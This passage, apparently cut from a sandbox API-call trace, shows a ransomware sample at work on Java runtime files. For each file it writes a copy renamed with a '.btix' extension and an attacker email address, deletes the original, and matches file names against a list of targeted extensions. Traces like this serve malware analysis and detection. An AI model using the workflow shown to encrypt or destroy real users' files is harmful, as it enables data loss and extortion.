(lpString1=".gif", lpString2=".btix") returned 1 [0046.965] lstrlenW (lpString="splash@2x.gif") returned 13 [0046.965] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.019] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=15276) returned 1 [0047.019] CloseHandle (hObject=0x364) returned 1 [0047.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0047.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.019] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.019] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.020] GetLastError () returned 0x0 [0047.020] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3bac, lpOverlapped=0x0) returned 1 [0047.298] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0047.299] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0047.299] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xee, lpOverlapped=0x0) returned 1 [0047.299] SetEndOfFile (hFile=0x32c) returned 1 [0047.588] CloseHandle (hObject=0x32c) returned 1 [0047.589] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.589] SetEndOfFile (hFile=0x364) returned 1 [0047.589] CloseHandle (hObject=0x364) returned 1 [0047.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.590] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0047.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.590] lstrlenW (lpString=".doc") returned 4 [0047.590] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.590] lstrlenW (lpString=".docx") returned 5 [0047.590] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0047.590] lstrlenW (lpString=".pdf") returned 4 [0047.590] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.590] lstrlenW (lpString=".xls") returned 4 [0047.590] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.590] lstrlenW (lpString=".xlsx") returned 5 [0047.590] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0047.590] lstrlenW (lpString=".ppt") returned 4 [0047.590] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.590] lstrlenW (lpString=".zip") returned 4 [0047.590] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.590] lstrlenW (lpString=".rar") returned 4 [0047.590] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.590] lstrlenW (lpString=".bz2") returned 4 [0047.590] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.590] lstrlenW (lpString=".7z") returned 3 [0047.591] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.591] lstrlenW (lpString=".dbf") returned 4 [0047.591] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.591] lstrlenW (lpString=".1cd") returned 4 [0047.591] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.591] lstrlenW (lpString=".jpg") returned 4 [0047.591] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.591] lstrlenW (lpString=".doc") returned 4 [0047.602] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.602] lstrlenW (lpString=".docx") returned 5 [0047.602] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0047.602] lstrlenW (lpString=".pdf") returned 4 [0047.602] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.602] lstrlenW (lpString=".xls") returned 4 [0047.602] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.602] lstrlenW (lpString=".xlsx") returned 5 [0047.602] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0047.602] lstrlenW (lpString=".ppt") returned 4 [0047.602] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.602] lstrlenW (lpString=".zip") returned 4 [0047.602] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.603] lstrlenW (lpString=".rar") returned 4 [0047.603] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.603] lstrlenW (lpString=".bz2") returned 4 [0047.603] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.603] lstrlenW (lpString=".7z") returned 3 [0047.603] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.603] lstrlenW (lpString=".dbf") returned 4 [0047.603] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.603] lstrlenW (lpString=".1cd") returned 4 [0047.603] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0047.603] lstrlenW (lpString=".jpg") returned 4 [0047.603] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.603] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.603] lstrlenW (lpString="invalid32x32.gif") returned 16 [0047.603] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.840] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=153) returned 1 [0047.840] CloseHandle (hObject=0x364) returned 1 [0047.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0047.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.840] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.840] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.843] GetLastError () returned 0x0 [0047.843] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x99, lpOverlapped=0x0) returned 1 [0047.844] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xa0, lpOverlapped=0x0) returned 1 [0047.845] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0047.845] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf4, lpOverlapped=0x0) returned 1 [0047.845] SetEndOfFile (hFile=0x390) returned 1 [0047.845] CloseHandle (hObject=0x390) returned 1 [0047.846] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.846] SetEndOfFile (hFile=0x364) returned 1 [0047.846] CloseHandle (hObject=0x364) returned 1 [0047.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.850] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.850] lstrlenW (lpString=".doc") returned 4 [0047.850] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.850] lstrlenW (lpString=".docx") returned 5 [0047.850] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.850] lstrlenW (lpString=".pdf") returned 4 [0047.850] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.850] lstrlenW (lpString=".xls") returned 4 [0047.850] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.850] lstrlenW (lpString=".xlsx") returned 5 [0047.850] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.850] lstrlenW (lpString=".ppt") returned 4 [0047.850] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.850] lstrlenW (lpString=".zip") returned 4 [0047.850] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.850] lstrlenW (lpString=".rar") returned 4 [0047.850] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.850] lstrlenW (lpString=".bz2") returned 4 [0047.850] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.850] lstrlenW (lpString=".7z") returned 3 [0047.850] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.850] lstrlenW (lpString=".dbf") returned 4 [0047.850] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString=".1cd") returned 4 [0047.851] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString=".jpg") returned 4 [0047.851] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString=".doc") returned 4 [0047.851] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.851] lstrlenW (lpString=".docx") returned 5 [0047.851] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.851] lstrlenW (lpString=".pdf") returned 4 [0047.851] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.851] lstrlenW (lpString=".xls") returned 4 [0047.851] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.851] lstrlenW (lpString=".xlsx") returned 5 [0047.851] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.851] lstrlenW (lpString=".ppt") returned 4 [0047.851] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString=".zip") returned 4 [0047.851] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.851] lstrlenW (lpString=".rar") returned 4 [0047.851] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.851] lstrlenW (lpString=".bz2") returned 4 [0047.851] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.851] lstrlenW (lpString=".7z") returned 3 [0047.851] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString=".dbf") returned 4 [0047.851] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.851] lstrlenW (lpString=".1cd") returned 4 [0047.851] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0047.852] lstrlenW (lpString=".jpg") returned 4 [0047.852] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.852] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.852] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0047.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.858] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=168) returned 1 [0047.858] CloseHandle (hObject=0x38c) returned 1 [0047.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0047.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.859] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.859] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.862] GetLastError () returned 0x0 [0047.862] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xa8, lpOverlapped=0x0) returned 1 [0047.863] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xb0, lpOverlapped=0x0) returned 1 [0047.863] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0047.863] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x102, lpOverlapped=0x0) returned 1 [0047.863] SetEndOfFile (hFile=0x308) returned 1 [0047.864] CloseHandle (hObject=0x308) returned 1 [0047.864] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.864] SetEndOfFile (hFile=0x364) returned 1 [0047.865] CloseHandle (hObject=0x364) returned 1 [0047.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.865] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0047.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.866] lstrlenW (lpString=".doc") returned 4 [0047.866] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.866] lstrlenW (lpString=".docx") returned 5 [0047.866] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.866] lstrlenW (lpString=".pdf") returned 4 [0047.866] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.866] lstrlenW (lpString=".xls") returned 4 [0047.866] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.866] lstrlenW (lpString=".xlsx") returned 5 [0047.866] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.866] lstrlenW (lpString=".ppt") returned 4 [0047.866] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.866] lstrlenW (lpString=".zip") returned 4 [0047.866] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.866] lstrlenW (lpString=".rar") returned 4 [0047.866] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.866] lstrlenW (lpString=".bz2") returned 4 [0047.866] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.866] lstrlenW (lpString=".7z") returned 3 [0047.866] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.866] lstrlenW (lpString=".dbf") returned 4 [0047.866] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.866] lstrlenW (lpString=".1cd") returned 4 [0047.866] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.867] lstrlenW (lpString=".jpg") returned 4 [0047.867] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.867] lstrlenW (lpString=".doc") returned 4 [0047.867] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.867] lstrlenW (lpString=".docx") returned 5 [0047.867] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.867] lstrlenW (lpString=".pdf") returned 4 [0047.867] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.867] lstrlenW (lpString=".xls") returned 4 [0047.867] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.867] lstrlenW (lpString=".xlsx") returned 5 [0047.867] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.867] lstrlenW (lpString=".ppt") returned 4 [0047.867] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.867] lstrlenW (lpString=".zip") returned 4 [0047.867] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.867] lstrlenW (lpString=".rar") returned 4 [0047.867] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.867] lstrlenW (lpString=".bz2") returned 4 [0047.867] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.867] lstrlenW (lpString=".7z") returned 3 [0047.867] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.867] lstrlenW (lpString=".dbf") returned 4 [0047.867] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.867] lstrlenW (lpString=".1cd") returned 4 [0047.867] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0047.868] lstrlenW (lpString=".jpg") returned 4 [0047.868] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.868] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.868] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0047.868] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 